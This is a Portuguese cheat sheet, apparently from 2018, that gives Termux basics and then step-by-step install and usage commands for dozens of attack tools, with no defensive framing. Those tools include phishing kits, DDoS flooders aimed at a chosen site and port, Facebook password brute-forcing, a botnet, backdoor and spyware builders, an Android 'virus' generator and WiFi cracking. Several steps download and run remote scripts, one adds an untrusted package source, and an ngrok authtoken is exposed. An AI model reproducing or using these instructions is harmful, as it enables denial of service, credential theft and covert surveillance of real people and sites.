

Comandos pra termux

(Apt list) (chmod +x .sh) (python.py)

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Comandos básicos de Termux:

Comando; apt update

Comando; apt upgrade

Comando; termux-setup-storage

Comando; cd (storage)

Comando; ls

Comando; cd /sdcard/Download/

*(Mover arquivo para o Termux)

Comando; cd /sdcard/Download/(arquivo) \$HOME

Comando; pwd (indicar a pasta atual)

Comando; cd /data/data/com.termux/files/home/

Comando; unzip (arquivo)

*(Copiar e mandar)

Comando; cp (arquivo) /data/data/com.termux/
usr/bin/

Comando; cd /data/data/com.termux/usr/bin/

Comando; cd /data/data/com.termux/files/home/

*(Remover arquivos)

Comando; rm -r (arquivo)

Comando; cd .. (retroceder pasta)

*(Regressar a pasta home Termux)

Comando; cd /data/data/com.termux/files/home/

*(Abrir sessão nova)

Comando; [CTRL e ALT+c]

Comando; exit ou [CTRL+d] e enter pra ambos
(eliminar sessão)

*(Instalar pacotes)

Comando; apt install (pacote)

Comando; apt list (listar pacotes)

*(abrir pagina com termux)

Comando; termux-open (site)

Comando; dpkg --print-architecture (Arquitetura)

Comando; ifconfig (informações)

python3 --version

touch .hushlogin remover banner

screenfetch mostra as configurações do celular tipo
modelo da ram/gpu etc...

Pacote de Ferramentas:

apt install git

apt update

apt upgrade

git clone <https://github.com/3xploit666/packtermux>

cd packtermux

chmod 755 * scriptpack.sh

sh scriptpack.sh

Lazymux:

```
apt install python2
apt install git
apt update
git clone https://github.com/Gameye98/Lazymux
ls
cd lazymux
ls
python2 lazymux.py
```

Tool-X:

```
apt update
apt install git
git clone https://github.com/Rajkumrdusad/Tool-X
cd Tool-X
chmod +x install.aex
sh install.aex (if not work than type) ./install.aex
(y)
Enter
Clear
Tool-X
```

Setoolkit(pishing):

```
pkg update
pkg upgrade
pkg install python
pkg install python2
```

```
git clone https://github.com/trustedsec/social-engineer-toolkit && cd social-engineer-toolkit
```

```
python setup.py instala o  
setoolkit
```

Atualização:
mestre de origem git pull

```
sudo ./setup.py instala  
setoolkit
```

Brutal:

```
apt update  
apt install git  
git clone http://github.com/Screetsec/Brutal  
ls  
cd Brutal  
ls  
chmod +x Brutal.sh  
./Brutal.sh
```

RED HAWK:

```
pkg install git  
pkg install php
```

```
pkg update
git clone https://github.com/Tuhinshubhra
/RED_HAWK
cd RED_HAWK
chmod +x rhawk.php
php rhawk.php
Rhawk: (site)
Rhawk: 1
```

NMap:

```
pkg install nmap
pkg update
nmap
nmap -v -A (IP da rede,site)
2° ping (site) = (IP da rede)
```

Xshell:

```
pkg install python
pkg install php
pkg install Git
pkg update
pkg upgrade
git clone https://github.com/Ubaili/Xshell
cd Xshell
python xshell.py
```

Routersploit:

```
-apt install python2
-apt install git
-python3 --version
-apt update
-apt upgrade
-git clone https://github.com/threat9/routersploit.git
-cd routersploit
-pip3 install -r requirements.txt
-pip3 install -r requirements-dev.txt
-pip3 install requests
-pip3 install future
-python3 rsf.py
rsf> show all
rsf> use (module/module/module_mod)
rsf> back (sair do módulo)
```

Airgeddon:

```
-cd termux-ubuntu
-./start-ubuntu.sh
# apt-get update
# apt-get install git
# git clone https://github.com/v1s1t0r1sh3r3/airgeddon
# ls
```

```
# cd airgeddon
# ls
# chmod +x airgeddon.sh
Enter
Enter
# apt-get install net-tools
# ./airgeddon.sh
# apt-get install aircrack-ng
```

Torshammer:

```
apt install python2
apt install tor
apt install git
apt update
apt upgrade
git clone https://github.com/dotfighter/torshammer
cd torshammer
python2 torshammer.py
Torshammer: python2 torshammer.py -t (target
site) -r 256 -p (port)
```

Hunner:

```
-pkg install python
-pkg install git
-pkg update
-git clone https://github.com/b3-v3r/Hunner
```

- ls
- cd Hunner
- chmod 777 hunner.py
- python hunner.py

IPGeoLocation:

- 1- pkg install python
- 2- pkg install git
- 3- pkg update
- 4- git clone <https://github.com/maldevel/IPGeolocation>
- 5- cd IPGeoLocation
- 6- pip2 install -r requirements.txt
- 7- easy_install-3.6 termcolor
- 8- ./ipgeolocation.py -t (IP)
- 9- dar enter

Planetnetwork-DDOS:

apt install git python2
apt update
(Lazymux)
cd Planetnetwork-DDOS
python2 pntddos.py
pntddos.py <ip> <port> <packet>

Hydra:

```
-apt install hydra  
-hydra
```

Black Hydra:

```
apt update  
apt upgrade  
apt install python  
apt install python2  
apt install git  
git clone https://github.com/Gameye98/Black-Hydra  
cd Black-Hydra  
chmod +x blackhydra.py  
python2 blackhydra.py
```

Facebook Brute Force:

```
apt update  
ls  
cd Lazymux  
ls  
python2 lazymux.py  
04  
02  
ls  
cd facebook-brute  
ls
```

pwd (mais pra frente copia e cola em PASSWORD)
+ (/password.txt)
python2 facebook.py
id da pessoa
copia o diretorio
/password.txt

Blackbox:

pkg install python2 wget
wget <https://raw.githubusercontent.com/jothatron/blackbox/master/blackbox.py>
pip2 install requests pexpect passlib python2
blackbox.py -h

Netaattack:

-cd termux-ubuntu
-./start-ubuntu.sh
apt install python
apt install git
git clone <https://github.com/chrizator/netattack>
cd netattack
apt-get install python-nmap python-argparse
python-scapy iw
chmod +x netattack.py
./netattack.py

Metasploit:

(Metasploit-Framework) 1°

```
$termux-setup-storage
```

```
$apt update
```

```
$apt upgrade
```

```
$apt install curl then type command $curl -LO
```

```
https://raw.githubusercontent.com/Hax4us
```

```
/Metasploit_termux/master/metasploit.sh
```

```
$ls
```

```
$chmod 777 metasploit.sh
```

```
$sh metasploit.sh
```

```
$cd metasploit-framework
```

```
$./msfconsole
```

(Metasploit.sh) 2°

1° termux-setup-storage

2° apt install update e upgrade

3° apt install curl

4° curl -LO https://raw.githubusercontent.com

/Hax4us/Metasploit_termux/master/metasploit.sh

5° chmod +x metasploit.sh

6° ./metasploit.sh (instalação)

7°msfconsole

pkg install wget

wget https://Auxilus.github.io/metasploit.sh

bash metasploit.sh

SCANNER-INURL:

```
pkg install git
$ pkg install php
$ git clone https://github.com/googleinurl
/SCANNER-INURLBR
$ cd SCANNER-INURLBR
$ ls
$ chmod +x inurlbr.php
clear
$ php inurlbr.php
$ php inurlbr.php --help
```

SQLscan:

```
pkg install php
pkg install git
pkg install update
git clone https://github.com/Cvar1984/sqlscan
cd sqlscan
chmod +x sqlscan.php
php sqlscan.php
```

BruteXSS:

```
apt upgrade
apt update
```

```
apt install python2
apt install git
git clone https://github.com
/shawarkhanethicalhacker/BruteXSS
cd BruteXSS && ls
python2 brutexss.py
```

Termux-sudo:

```
apt instalar git
git clone https://github.com/Bhai4You/Termux-Sudo
cd Termux-Sudo
chmod +x sudo.sh
bash sudo.sh
```

A-Rat:

```
pkg install python2
pkg install git
pkg install update
pkg install upgrade
git clone https://github.com/Xi4u7/A-Rat
cd A-Rat
Python2 A-Rat.py
help
```

Weeman (pishing):

```
apt update
apt install git
apt install python2
git clone https://github.com/evait-security/weeman
cd weeman
python2 weeman.py
show
set url (link do site que deseja clonar)
set action_url (ex:http://facebook.com/login)
Run
2° terminal:
./ngrok http 8080
```

SqlMap:

```
git clone https://github.com/sqlmapproject/sqlmap
cd sqlmap
ls
chmod +x sqlmap.py
ls
chmod +x sqlmapapi.py
python2 sqlmap.py
```

Recon Dog:

```
-apt install git
-apt install python2
```

- apt update
- git clone <https://github.com/s0md3v/ReconDog>
- cd ReconDog
- chmod +x dog.py
- python2 dog.py

Hakku Framework:

- apt-get upgrade
- 3.apt install python
- 4.apt install python2
- 5.apt install git
- 6 github link
- git clone <https://github.com/4shadoww/hakkuframework>
- 7.ls
- 8.cd hakkuframework
- 9.ls
- 10.python hakku
- Hakku: show modules
- Hakku: use mtm

wifi-hacker:

- pkg install git
- pkg update
- pkg upgrade
- git clone <https://github.com/esc0rtd3w/wifi-hacker>

```
cd wifi-hacker  
chmod +x wifi-hacker.sh  
./wifi-hacker.sh
```

wifite:

```
pkg install python2  
pkg install git  
pkg install update  
pkg install upgrade  
git clone https://github.com/derv82/wifite  
cd wifite  
python2 wifite.py
```

Arch Linux: 3°

```
-apt install proot  
-apt install wget  
-apt update  
-git clone https://github.com/sdrausty/  
termux-archlinux  
-cd termux-archlinux  
-chmod +x setupTermuxArch.sh  
-sh setupTermuxArch.sh
```

Tor:

-apt install tor
-tor

Ngrok:

-cd /sdcard/download
-unzip ngrok-stable-linux-arm.zip
-mv ngrok /\$HOME
-cd
-ls
-chmod +x ngrok
-ls
-mv ngrok ../usr/bin

(./ngrok authtoken
7RRhX9hin9LZgkL1xffYk_6anhAxfDtBpyquG4LZrKW)
- Fezex

-. /ngrok http 8080

Xerxes:

apt update
apt install git
apt install clang
git clone <https://github.com/zanyarjamal/xerxes>
ls
cd xerxes

```
ls
clang xerxes.c -o xerxes
ls
./xerxes (Nome do site do atk) 80
```

Ubuntu: 2°

```
$ apt install git
$ apt install proot
$ apt install wget
$ apt update
$ git clone https://github.com/Neo-Oli
/termux-ubuntu
$ cd termux-ubuntu
$ ls
$ chmod +x ubuntu.sh
$ sh ubuntu.sh
$ ./start-ubuntu.sh
```

Nano editor:

```
-apt install nano
```

Clang:

```
Apt ou pkg install clang
```

PHP:

```
$ apt update
$ apt upgrade
$ apt install php
$ apt install nano
$ nano hello.php
# To Run PHP script Type :-
<?php
echo "Hello World!";
echo "\n PHP in Android...\n";
?>
CTRL+O (salvar)enter
CTRL+X (sair)
$ php hello.php
```

termux-lazysqlmap:

```
apt install python2
apt install git
apt update
git clone https://github.com/verluchie/
termux-lazysqlmap
ls
cd termux-lazysqlmap
unzip lazysqlmap.zip
chmod 777 install.sh
./install.sh
```

Termux-Fedora: 1°

- apt install proot
- apt install wget
- apt update
- git clone <https://github.com/nmilosev/termux-fedora>
- cd termux-fedora
- chmod 777 termux-fedora.sh
- sh termux-fedora.sh f26_arm
- startfedora

Fedora@\$ dnf update

Ruby(gem): 3°

- apt install ruby

Nokogiri, bundle, bundler, gemfile: 4°

- cd metasploit.sh
- gem install bundle
- gem install bundler
- pip2 install bundler
- bundle install -j5
- bundle update
- bundle update nokogiri

```
-. /msfconsole
-gem install nokogiri -- --use-system-libraries
-error nokogiri version 1.8.2 :
-gem install nokogiri -v'1.8.2' --
--use-system-libraries
```

Beef:

```
apt update
apt install nano
cd $PREFIX/etc/apt
mkdir -p sources.list.d
cd sources.list.d
touch hax4us.list
nano hax4us.list
architecture arm deb [trusted=yes arch=all,arm]
https://hax4us.github.io/termux-tools/
termux extras
apt install beef-xss
beef
```

Cupp Wordlist:

```
apt update
apt install python2
apt install git
git clone https://github.com/Mebus/cupp
cd cupp
```

```
python2 cupp.py -i
```

Admin painel finger:

```
$apt upgrade
$apt update
$apt install git
$apt install python2
$git clone https://github.com/bdblackhat
/admin-panel-finder
$ls
$cd admin-panel-finder
$ls
$python2 admin_panel_finder.py
```

Websploit: (MITM)

```
-apt update
-apt install git
-apt install python2
-git clone https://github.com/websploit/websploit
-cd websploit
-chmod +x websploit wsf-update.py
-pip2 install scapy
-python2 websploit
wsf > show modules ou help
```

D-tech:

```
apt update
apt install python2
apt install git
git clone https://github.com
/shawarkhanethicalhacker/D-TECT
ls
cd D-TECH
pip2 install BeautifulSoup
pip2 instal colorama
python2 d-tech.py
```

Recon-NG:

```
-apt install git
-apt install python2
-apt update
-apt upgrade
-git clone https://github.com/Techzindia/recon
-ng_termux_by_viral
-cd recon-ng_termux_by_viral
-unzip recon-ng.zip
-cd recon-ng
-chmod +x recon-ng
-python2 recon-ng
-python2 recon-ng --no-check
> help
> show modules
```

- > use (modules)
- > show options
- > set SOURCE (site)
- > run

Kali-Nethunter:

- apt install git
- apt update
- git clone <https://github.com/Hax4us/Nethunter-In-Termux>
- cd Nethunter-In-Termux
- chmod +x kalinethunter
- . /kalinethunter

Bull-attack:

- apt install python
- apt install python2
- apt install git
- git clone <https://github.com/Bhai4You/Bull-Attack>
- ls
- cd Bull-Attack
- ls
- chmod +x B-attack.py
- ls
- python2 B-attack.py

Ip-attack:

```
apt update
apt upgrade
apt install git
apt install python
apt install python2
cd $HOME
git clone https://github.com/Bhai4You/Ip-Attack
cd Ip-Attack
chmod +x requirement.sh ip-attack.py bash
requirement.sh
python2 ip-attack.py
```

Devploit:

```
apt update
apt install git
apt install python2
git clone https://github.com/joker25000/Devploit
cd Devploit
chmod 777 Devploit.py
python2 Devploit.py
```

Botnet:

```
pkg install git
```

```
pkg install php  
git clone https://github.com/cvar1984/Kawai-Botnet  
cd Kawai-Botnet  
php kawai.php
```

Weevely(Backdoor):

```
apt update  
apt install python2  
apt install git  
git clone https://github.com/glides/Weevely  
cd Weevely  
python2 weevely.py
```

Tmux-Bunch (Backdoor apk):

```
git clone https://github.com/Hax4us/Tmux-Bunch  
cd Tmux-Bunch  
chmod +x setup  
chmod +x tmuxbunch  
sh setup.sh  
sh tmuxbunch.sh
```

Shelpy(Backdoor):

```
git clone https://github.com/yurijuliano11tx/shelpy  
python3 --version
```

```
cd shelpy
python3 shelpy
```

Social Fish:

```
pkg install python2 php curl git
pip2 install wget
git clone https://github.com/Lexiie/SocialFish
cd SocialFish
chmod +x *
pkg install grep
python2 SocialFish.py
```

Nikto:

```
git clone https://github.com/sullo/nikto
ls
cd nikto
ls
cd program
ls
pkg install perl
perl nikto.pl
```

Shodan:

```
apt update && apt upgrade
```

```
python3 --version  
easy_install shodan  
pip3 install shodan request  
shodan init (SUA KEY DE ATIVAÇÃO) shodan -h
```

Linu-packs:

```
git clone https://github.com/Tioolive/Linu-packs  
cd Linu-packs  
./linu.py
```

Breacher (painel de acesso qqr site):

```
apt update && apt upgrade  
apt install git  
apt install python2  
git clone https://github.com/s0md3v/Breacher  
cd Breacher  
python2 breacher.py  
-u site.com --type php --fast
```

TxTool:

```
git clone https://github.com/kuburan/txttool  
cd txttool  
./install.py  
txttool
```

A2sv(vulnerabilidade SSL):

```
git clone https://github.com/hahwul/a2sv
cd a2sv
pip2 install -r requirements.txt
python2 a2sv.py
```

Heartbleed(SSL):

```
git clone https://github.com/TechnicalMujeeb/HeartBleed
cd HeartBleed
chmod +x*
./install.sh
./hbleed
```

Perpext

```
git clone https://github.com/pexpect/pexpect.git
2>cd pexpect
3>python setup.py install
```

Darksploit: (vírus)

pkg update

```
pkg install python2
pkg install git
git clone https://github.com/LOoLzeC/DarkSploit
cd DarkSploit
cd Install
sh installtermux.sh
pip install -r requirements.txt
python2 DrXp.py
```

Comandos exemplos...

```
make virus/on_android_malware_door
```

Run

Ghostdroid: (spyware)

```
apt install git
git clone https://github.com/GhosTmaNHarsh
/Ghost-Droid
cd Ghost-Droid
chmod 777 setup.sh
./setup.sh
./ghost-droid
```

Zarp: (Scan, Dos attack, sniffers)

```
git clone https://github.com/hatRiot/zarp
cd zarp
pip2 install -r requirements.txt
```

```
pkg install tcpdump  
sudo python2 zarp.py
```

Última modificação: 23 de set de 2018